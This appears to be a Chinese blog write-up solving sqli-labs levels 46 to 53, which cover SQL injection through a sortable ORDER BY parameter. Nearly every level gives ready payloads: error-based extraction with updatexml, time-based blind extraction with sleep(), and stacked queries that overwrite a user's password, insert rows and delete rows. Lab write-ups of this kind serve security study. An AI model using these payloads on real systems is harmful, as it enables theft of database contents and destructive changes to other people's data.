sql-lab (46~53)(后持续更新) order by 注入

(46~50)

sql-lab-46

一进入46关页面就提示我们使用 sort :

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-p8wYua6X-1643081745033)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220123100744179.png)]

我们尝试这使用 ?sort=1 发现:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7rA2s6bx-1643081745034)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220123101113651.png)]

然后 ?sort=2:
在这里插入图片描述

?sort=3:
在这里插入图片描述

我们发现当我们使用 sort=1 时 表格以第一列进行排列,sort=2 时 表格以第二列进行排列, sort=3 时 表格以第三列进行排序。我们想到了order by 函数 ,猜测可能是与 order by 函数相关的注入。

查看源码:

$sql = "SELECT * FROM users ORDER BY $id";

发现我们的猜测果然没错。

先了解下 order by参数注入:

order by 注入是指其后面的参数是可控的,

order by 不同于我们在 where 后的注入点,不能使用 union 等注入,其后可以跟接 报错注入 或者 时间盲注。

判断库名:?sort=-1 and updatexml(1,concat(0x7e,database(),0x7e),1)-- q

判断表名:?sort=-1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1)-- q

判断列名:?sort=-1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1)-- q

查询数据:?sort=-1 and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- q

sql-lab-47

原理与46关相同,区别只是闭合不同

判断库名:?sort=-1 'and updatexml(1,concat(0x7e,database(),0x7e),1)-- q

判断表名:?sort=-1 'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1)-- q

判断列名:?sort=-1’and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1)-- q

查询数据:?sort=-1 'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- q


sql-lab-48

在这一关只能使用时间盲注:

使用时间盲注

  1. 解析数据库名称:?sort=1 and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q 第一位是 s

  2. 解析表名:?sort=1 and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q 第一位是 e

  3. 解析字段名:?sort=1 and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q 第一位是 i

  4. 获取数据: ?sort=1’ and if((ascii(substr((select id from emails limit 0,1),1,1))>1),sleep(5),1)-- q


sql-lab-49

和四十八关相同,仅仅只是闭合方式的不同

  1. 解析数据库名称:?sort=1 'and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q 第一位是 s

  2. 解析表名:?sort=1 'and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q 第一位是 e

  3. 解析字段名:?sort=1’and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q 第一位是 i

  4. 获取数据: ?sort=1’ and if((ascii(substr((select id from emails limit 0,1),1,1))>1),sleep(5),1)-- q


sql-lab-50

进入题目,发现和之前的几道题是大差不差的,我们输入的语句依旧会拼接到order by后面,于是尝试使用报错注入,发现确实是可以的,那么这道题和前面的题目有啥区别呢?

我们查看一下源码:

mysqli_multi_query($con1, $sql)

所以说这道题就是堆叠注入和order by 注入的结合

?sort=1;update users set password=‘hcjtn’ where id=14–q

?sort=1;insert into users values(50,‘50’,‘50’)-- q


(51~53)

sql-lab51

做法和上一道题一致,只是闭合的区别。

使用报错注入或者时间盲注:

这里使用报错注入:

判断库名:?sort=-1 'and updatexml(1,concat(0x7e,database(),0x7e),1)-- q

判断表名:?sort=-1 'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1)-- q

判断列名:?sort=-1’and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1)-- q

查询数据:?sort=-1 'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- q

然后进行堆叠注入:

?sort=1’;insert into users values(21,‘02’,‘24’)-- q


sql-lab-52

一样的套路一样的方法,先判断闭合方式 发现该题没有闭合,然后尝试使用报错,将库名爆出来,发现无法使用,那么在本题只能使用时间盲注:

  1. 解析数据库名称:?sort=1’and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q 第一位是 s

  2. 解析表名:?sort=1 'and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q 第一位是 e

  3. 解析字段名:?sort=1’and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q 第一位是 i

  4. 获取数据: ?sort=1’ and if((ascii(substr((select id from emails limit 0,1),1,1))>1),sleep(5),1)-- q

然后进行堆叠注入:

?sort=1 ;delete from users where id=50 – q


sql-lab-53

先判断闭合方式,发现没有闭合。

  1. 解析数据库名称:?sort=1 'and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q 第一位是 s

  2. 解析表名:?sort=1 'and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q 第一位是 e

  3. 解析字段名:?sort=1 'and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q 第一位是 i

  4. 获取数据: ?sort=1’ and if((ascii(substr((select id from emails limit 0,1),1,1))>1),sleep(5),1)-- q

然后进行堆叠注入:

?sort=1’ ;delete from users where id=50 – q

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值